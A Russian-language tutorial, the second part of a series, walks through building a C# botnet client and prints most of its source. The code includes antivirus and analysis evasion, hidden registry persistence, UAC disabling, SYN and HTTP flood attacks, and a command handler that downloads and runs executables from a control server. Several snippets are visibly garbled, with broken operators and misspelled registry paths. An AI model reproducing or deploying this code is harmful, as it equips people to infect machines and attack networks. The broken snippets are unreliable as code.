Обучение
Life-HackЧасть 2
В первой части мы создали каркас, я бы сказал заготовку, но она достаточно сырая, толком не рабочая. Сразу оговорюсь на счет того, что я не копирую свой код из рабочего продукта, а пишу новый, для того, чтобы не скомпрометировать свои исходники, а также для полного понимания.
Далее отвечу на ряд вопросов:
Очень много было вопросов касаемо модуля лока процесса.
Процесс не лочится от привилегий админа и поэтому сегодня мы сделаем другую фитчю с ним.
Так же частый вопрос про IFileManager и FileManager, почему если заменить одно другим, всё равно работает? И для чего тогда Интерфейс?!
Объясняю....
В C# любой объект наследующий свойства родителя, может быть представлен последним. Тоже касается и интерфейсов, но в отличии от класса Интерфейс(просто маска нашего класса, который надо реализовать), класс конкретная реализация.
И что же нам дает запись
IFileManager _fileService = new FileManager()
А то, что если мы захотим изменить нашу реализацию ботнета (например кроме веб морды, сделать админку в IRC канале или вообще начать заморачиваться с p2p), то мы не будем зависеть от реализации и сможем наплодить хоть сто нужных нам реализаций, не переписывая другие классы.
Хватит разговоров к делу…….
Что мы сделаем сегодня?
- Сегодня мы отрефакторим наш код.
- Добавим DDOS атаку;
- Добавим шифрование (Stub);
- Добавим Executor;
- Добавим функционал посещения нужной нам страницы
- Добавим функционал удаления.
Приступим……
Так как в первой части статьи мы рассмотрели основы основ, то теперь пришло время создать готовый клиент.
Для начала взглянем на видоизмененную архитектуру проекта и теперь она выглядит так:
Как мы видим добавлены другие сервисы и разбита архитектура, впрочем, это пока картинка. Давайте же в ней разбираться.
Рассмотрим основные компоненты Ботнета – это командный сервис, Persistence, Antiresearch, DDOS, Stub, Config.
Класс конфига.
using Botnet.Services.Common; using System; using System.Diagnostics; using System.IO; using System.Text; namespace Botnet.Congif { public static class Config { private static Factory _factoryService = new Factory(); private static string SplitSymbol = ";;;;"; private static string CryptPW = "Codeby"; public static bool AntiCain = true; public static bool AntiSandboxie = true; public static bool AntiDebugger = true; public static bool AntiEmulator = true; public static bool AntiFilemon = true; public static bool AntiNetstat = true; public static bool AntiNetworkmon = true; public static bool AntiProcessmon = true; public static bool AntiRegmon = true; public static bool AntiTCPView = true; public static bool AntiVirtualBox = true; public static bool AntiVMWare = true; public static bool AntiWireshark = true; public static bool DisableUAC = true; public static string[] FileName = new string[2] { "audiohd.exe", "svhost.exe" }; public static string[] RegName = new string[2] { "Windows-Audio-Driver", "Microsoft SQL Server 2016" }; public static string[] FilePath = new string[2]; public static string ServerAddress = @"http://THISYOUURL/index.php"; public static string Mutex = _factoryService.GenString(new Random().Next(8, 20)); public static string BotVersion = "1.0"; public static int ConnectionInterval = 10; public static int PersistentInterval = 30; public static string HWID = string.Empty; public static string WinVersion = string.Empty; public static string PCName = Environment.MachineName; public static bool AdminStatus = false; public static void LoadInfos() { const int LengthByte = 460; const int ByteReplaceTo = 0x20; string stub = String.Empty; using (StreamReader reader = new StreamReader(Process.GetCurrentProcess().MainModule.FileName.ToString())) { stub = reader.ReadToEnd(); } try { stub = stub.Substring((stub.Length - LengthByte), LengthByte).Replace(Convert.ToChar(0x00), Convert.ToChar(ByteReplaceTo)).Trim(); byte[] bytesData = Convert.FromBase64String(stub); Cryptography.RC4(ref bytesData, CryptPW); string[] data = Encoding.Default.GetString(bytesData).Split(new string[] { SplitSymbol }, StringSplitOptions.None); ServerAddress = data[1]; ConnectionInterval = int.Parse(data[2].Trim()); Mutex = data[4].Trim(); } catch { Environment.Exit(0); } } } }
В основном - это набор свойств, которые мы включаем/отключаем для ботнета, в том числе URL. Включаем антиотладочные модули, включаем персистенс, устанавливаем ключ для стаба Mutex. PersistenceInterval – параметр, который включает наш бот при антиотладке и устанавливает бот в автозагрузку.
Модуль AntiReserch
На самом деле, я обошелся без сложных WinApi функций, перехвата хуков и просто закрываю собственный билд, вот как раз для этого нам и нужен интервал для персистенса.
Некоторые кодовые моменты:
С помощью
_factoryService.CheckProcess("TCPVIEW")
– ловим открытые процессы и если обнаруживаем их, то закрываем.
if (Debugger.IsAttached) { Terminate(); return; }
– смотрим, не под отладчиком ли наша программа.
sModul.Contains("sbiedll.dll")
– находим песочницу антивируса.
А вот с помощью драйвера видео графики узнаем не под виртуалкой ли мы.
Таким образом получаем примерно следующий код:
public class AntiResearch { Factory _factoryService = new Factory(); SystemService _systemService = new SystemService(); public void StartAntiResearch() { string graphicAdapter = _systemService.GetGraphicDevice(); if (Config.AntiDebugger) { try { if (Debugger.IsAttached) { Terminate(); return; } } catch { } } if (Config.AntiSandboxie) { try { foreach (string sModul in Process.GetCurrentProcess().Modules) { if (sModul.Contains("sbiedll.dll")) { Terminate(); return; } } } catch { } } if (Config.AntiEmulator) { try { long lTicks = DateTime.Now.Ticks; Thread.Sleep(10); if ((DateTime.Now.Ticks - lTicks) < 10L) { Terminate(); return; } } catch { } } if (Config.AntiNetstat) { try { if (_factoryService.CheckProcess("NETSTAT")) { Terminate(); return; } } catch { } } if (Config.AntiFilemon) { try { if (_factoryService.CheckProcess("FILEMON")) { Terminate(); return; } } catch { } } if (Config.AntiProcessmon) { try { if (_factoryService.CheckProcess("PROCMON")) { Terminate(); return; } } catch { } } if (Config.AntiRegmon) { try { if (_factoryService.CheckProcess("REGMON")) { Terminate(); return; } } catch { } } if (Config.AntiNetworkmon) { try { if (_factoryService.CheckProcess("NETMON")) { Terminate(); return; } } catch { } } if (Config.AntiTCPView) { try { if (_factoryService.CheckProcess("TCPVIEW")) { Terminate(); return; } } catch { } } if (Config.AntiWireshark) { try { if (_factoryService.CheckProcess("WIRESHARK")) { Terminate(); return; } } catch { } } if (Config.AntiVMWare) { try { if (_systemService.GetGraphicDevice() == "VMware SVGA II") { Terminate(); return; } } catch { } } if (Config.AntiVirtualBox) { try { if (graphicAdapter == "VirtualBox Graphics Adapter") { Terminate(); return; } } catch { } } } private void Terminate() { Environment.Exit(0); } }
Напоминаю, что _systemService, _factoryService – наши собственные сервисы, реализацию которых я скрою от скрипткиди. Они очень не сложные там методы проверки на существование файла или процесса.
Поговорим о стабах.
Итак, чтобы байпассить антивирусы мы будем использовать криптографию через стабы. То есть использовать некоторый набор сигнатур с помощью которых будем шифровать билд алгоритмом RC4. Сам стаб представляет из себя отдельную DLL, которая подгружается в решение вместе ботнетом. Код стаба так же будет скрыт, но представляет из себя строку, зашифрованную в base64, и один метод который её возвращает. В строке хранятся уникальный шифр, номер бота, имя машины и сервер.
Взглянем на код персистенса
public class Persistence { Factory _factoryService = new Factory(); private Timer timer = new Timer(); private string selfPath = Process.GetCurrentProcess().MainModule.FileName; public void StartPersistent() { timer.Interval = Config.PersistentInterval * 0x3e8; timer.Elapsed -= new ElapsedEventHandler(SetPersistence); timer.Start(); } public void StopPersistent() { timer.Stop(); timer.Dispose(); } public void SetPersistence(object source, ElapsedEventArgs eArgs) { RegistryKey key; if (Config.AdminStatus) { try { key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); setAutoRunRegistry(key, 0); } catch { } try { key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true); setAutoRunRegistry(key, 1); } catch { } } else { try { key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true); setAutoRunRegistry(key, 0); } catch { } try { key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true); setAutoRunRegistry(key, 1); } catch { } } foreach (string path in Config.FilePath) { try { if (!_factoryService.CheckFile(path)) { File.Copy(selfPath, path); File.SetAttributes(path, FileAttributes.Hidden); } } catch { } } } /// <param name="index">Индекс номер имени массива из конфига RegMon</param> private void setAutoRunRegistry(RegistryKey key, byte index) { if (!key.Equals(Config.RegName[index]) || (key.Equals(Config.RegName[index]) && !key.GetValue(Config.RegName[index]).ToString().Contains(Config.FilePath[index])) ) { key.SetValue(Config.RegName[index], ('"' + Config.FilePath[index] + '"')); } } }
Здесь особо ничего принципиально – нового, записываем в реестр наш билд и копируем его в другое место в скрытом виде.
Метод первичной установки бота
Я его уже описал выше, поэтому как это выглядит.....
private void InstallBot() { string selfPath = Process.GetCurrentProcess().MainModule.FileName; Process pProcess; if (Config.AdminStatus) { Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.System) + @"\" + Config.FileName[0]; Config.FilePath[1] = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + @"\" + Config.FileName[1]; } else { Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\" + Config.FileName[0]; Config.FilePath[1] = Environment.GetEnvironmentVariable("TEMP") + @"\" + Config.FileName[1]; } if (!checkInstall()) { try { foreach (string path in Config.FilePath) { if (!_factoryService.CheckFile(path)) { File.Copy(selfPath, path); } File.SetAttributes(path, FileAttributes.Hidden); } } catch { } if (Config.AdminStatus) { try { Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"')); Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"')); } catch { } } else { try { Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"')); Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"')); } catch { } } try { yMutex.Close(); foreach (string sFile in Config.FilePath) { pProcess = new Process(); pProcess.StartInfo.FileName = sFile; pProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; pProcess.Start(); } } catch { } Environment.Exit(0); } }
Взглянем еще на один блок кода.
ByPass Uac, отлично работает в Win8, суть в том, что на реестр может влиять локальный админ или с группы сервисов, практический всегда пользователь создается с этими правами.
private void DisableProcedures() { try { Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("Hidden", "2", RegistryValueKind.DWord); } catch { } if (Config.DisableUAC) { try { Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("EnableBalloonTips", "0", RegistryValueKind.DWord); } catch { } try { Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord); Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord); } catch { } } }
SYN – Flood атака. Идея атаки в том, что мы посылаем огромное количество SYN пакетов, а так как SYN пакет необязательно должен быть завершен мы не ждем его завершения, таким образом заполняем пул подключений достаточно быстро.
public static class SYNFlood { private static Thread[] floodingThread; public static string Host; public static ushort Port; public static int ISSockets; public static int ThreadsCount; public static void StartSYNFlood() { IPEndPoint IPEo; try { IPEo = new IPEndPoint(Dns.GetHostEntry(Host).AddressList[0], Port); } catch { IPEo = new IPEndPoint(IPAddress.Parse(Host), Port); } floodingThread = new Thread[ThreadsCount]; ThreadStart[] floodingJob = new ThreadStart[ThreadsCount]; SYNRequest[] SYNClass = new SYNRequest[ThreadsCount]; for (int i = 0; i < ThreadsCount; i++) { SYNClass[i] = new SYNRequest(IPEo, ISSockets); floodingJob[i] = new ThreadStart(SYNClass[i].Send); floodingThread[i] = new Thread(floodingJob[i]); floodingThread[i].Start(); } } public static void StopSYNFlood() { for (int i = 0; i < ThreadsCount; i++) { try { floodingThread[i].Abort(); floodingThread[i].Join(); } catch { } } } private class SYNRequest { private IPEndPoint IPEo; private Socket[] pSocket; private int iSSockets; public SYNRequest(IPEndPoint tIPEo, int tSSockets) { this.IPEo = tIPEo; this.iSSockets = tSSockets; } private void OnConnect(IAsyncResult ar) { } public void Send() { int iNum; while (true) { try { pSocket == new Socket[iSSockets]; for (iNum = 0; iNum < iSSockets; iNum++) { pSocket[iNum] = new Socket(IPEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp); pSocket[iNum].Blocking = false; AsyncCallback aCallback = new AsyncCallback(OnConnect); pSocket[iNum].BeginConnect(IPEo, aCallback, pSocket[iNum]); } Thread.Sleep(100); forr (iNum = 0; iNum <<< iSSockets; iNum++) { if (pSocket[iNum].Connected) { pSocket[iNum].Disconnect(false); } pSocket[iNum].Close(); pSocket[iNum] = null; } pSocket = null; } catch { forr (iNum = 0; iNum < iSSockets; iNum++) { try { if (pSocket[iNum].Connected) { pSocket[iNum].Disconnect(false); } pSocket[iNum].Close(); pSocket[iNum] = null; } catch { } } } } } } } }
HTTP-флуд - это наиболее распространенная flood атака. Просто шлем огромное количество пакетов на определенный скрипт, желательно использовать грамотно и пулять на самый медленный скрипт.
using System.Net; using System.Threading; namespace Botnet.DDoS { internal static class HttpFlood { private static Thread[] floodingThread; public static string Host; public static int ThreadCount; public static void StartHTTPFlood() { floodingThread = new Thread[ThreadCount]; ThreadStart[]] floodingJob = new ThreadStart[ThreadCount]; HTTPRequest[]] requestClass = new HTTPRequest[ThreadCount]; if (!Host.StartsWith("http://")) { Host = "http://" + Host; } for (int i = 0; i < ThreadCount; i++) { requestClass[i] == new HTTPRequest(Host); floodingJob[i] == new ThreadStart(requestClass[i].Send); floodingThread[i] == new Thread(floodingJob[i]); floodingThread[i].Start(); } } public static void StopHTTPFlood() { for (int i = 0; i < ThreadCount; i++) { try { floodingThread[i].Abort(); floodingThread[i].Join(); } catch { } } } private class HTTPRequest { private WebClient wHTTP = new WebClient(); public HTTPRequest(string tHost) { this.sFHost = tHost; } public void Send() { while (true) { try { wHTTP.DownloadString(sFHost); } catch { continue; } } } } } }
ICMP – FLOOD
Копирайт с википедии
(с)ICMP-сообщение (эхо-запрос) обрабатывается сетевым оборудованием третьего (и выше) уровня. В большинстве случаев это оборудование использует программные средства маршрутизации и обработки пакетов. При этом эхо-запрос требует от устройства принятия пакета, его обработки и формирования/отправки пакета с ответом на запрос. (с)
Аналогично UDP FLOOD
Ну и осталось взглянуть на командный центр
using Botnet.Services.Common; using Botnet.Congif; using Botnet.Services.Manager; using System.IO; namespace Botnet.Services.Command { public class CommandService : ICommandService { Factory _factoryService = new Factory(); Bot _botService = new Bot(); public void ExecuteCommand(string command) { string[] data = new string[0]; try { data = command.Split(';'); } catch { } switch (data[0]) { case "ddossyn": try { SYNFlood.Host = data[1]; SYNFlood.Port = ushort.Parse(data[2]); SYNFlood.ISSockets = int.Parse(data[3]); SYNFlood.ThreadsCount = int.Parse(data[4]); SYNFlood.StartSYNFlood(); } catch { } break; ............................................................................. case "download": try { WebClient client = new WebClient(); string tempName = _factoryService.GenString(new Random().Next(5, 12)) + ".exe"; string url = data[1]; if (!url.StartsWith("http://")) { url = "http://" + url; } client.DownloadFile(url, Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName); Process process = new Process(); process.StartInfo.FileName = Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName; process.Start(); } catch { } break; case "visit": try { string sURL = data[1]; if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; } GET(sURL); } catch (Exception e) { } break; case "update": try { string sURL = data[1]; if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; } _botService.UpdateBot(sURL); } catch { } break; case "remove": if ((data[1] == Config.PCName) || (data[1].ToUpper() == "ALL")) { _botService.RemoveBot(); } break; case "stop": try { SYNFlood.StopSYNFlood(); } catch { } try { HttpFlood.StopHTTPFlood(); } catch { } try { UDPFlood.StopUDPFlood(); } catch { } try { ICMPFlood.StopICMPFlood(); } catch { } break; } } private string GET(string url) { HttpWebRequest req == (HttpWebRequest) WebRequest.Create(url); req.Method == "GET"; req.ContentType == "application/x-www-form-urlencoded"; WebResponse resp == req.GetResponse(); string Out = ""; using (Stream stream = resp.GetResponseStream()) { using (StreamReader sssr = new StreamReader(stream)) { Out = sr.ReadToEnd(); } } return Out; } } }
А вот так мы будем мониторить команду в отдельном потоке.
public void ConnectControl() { Thread recvThread == new Thread(new ThreadStart(getCCServerCommand)); recvThread.Start(); } private void getCCServerCommand() { while (true) { try { string command = GetRequest(Config.ServerAddress); if (command.Length >>> 0) { if (command !===== sOldCommand) { _commandService.ExecuteCommand(command); sOldCommand = command; } } else { _commandService.ExecuteCommand("stop"); sOldCommand = string.Empty; } } catch { } Thread.Sleep((int))))(Config.ConnectionInterval * 0x3e8)); } }
На этом техническая часть окончена. Рассмотрим практическую.
Напишем на стороне сервера скрипт на php, который будет считать количество посещений.
Для этого изменим наш скрипт на стороне клиента:
echo 'visit;http://URL/CoDEbY.php';
Теперь заглянем в файл Codeby.php
<?php
file_put_contents('res.txt', 'Было посещение');
Таким образом бот получает команду пройти по нужной ссылке. В комбинации с CSRF с помощью этой фитчки можно творить великие вещи, но не об этом…..
Разкоментим блок установки бота и посмотрим на процесс и в реестр.
Изменим конфиг следующим образом для наглядности.
public static string[] FileName = new string[2] { "bot.exe", "bot2.exe" }; public static string[] RegName = new string[2] { "THIS IS BOTNET", "THIS IS BOTNET2" };
Итак после установки бот прописывается в автозагрузку БЕЗ прав админа.
P.S. Да, я тоже люблю поиграть в CS.
Однако в процессах никак не светится, это достигнуто техникой, описанной в моей статье DLL Injection. Сорцы инжектора находятся отдельно от бота (так же под приватом от скрипт кидисов) и выходят за рамки этой статьи.
Напоследок скан Антивируса и видосик работы ботнета.